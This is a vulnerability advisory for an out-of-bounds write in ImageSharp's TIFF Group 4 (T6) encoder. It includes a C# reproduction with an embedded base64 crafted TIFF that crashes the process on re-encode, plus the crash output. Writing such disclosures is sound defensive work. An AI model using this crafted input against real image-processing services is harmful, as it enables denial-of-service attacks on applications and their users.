CVE-2026-106115: ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer

### Summary The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details [`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte. After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span. The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path. ### Tested environment - Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker No active exploitation is known. ### Reproduction Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA"); using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}"); using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); } Console.WriteLine($"encoded=True bytes={output.Length}"); ``` Run: ```text dotnet run -- exploit dotnet run -- control ``` The exploit produced exit code 134: ```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ``` The control completed with exit code 0: ```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ``` ### Impact One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.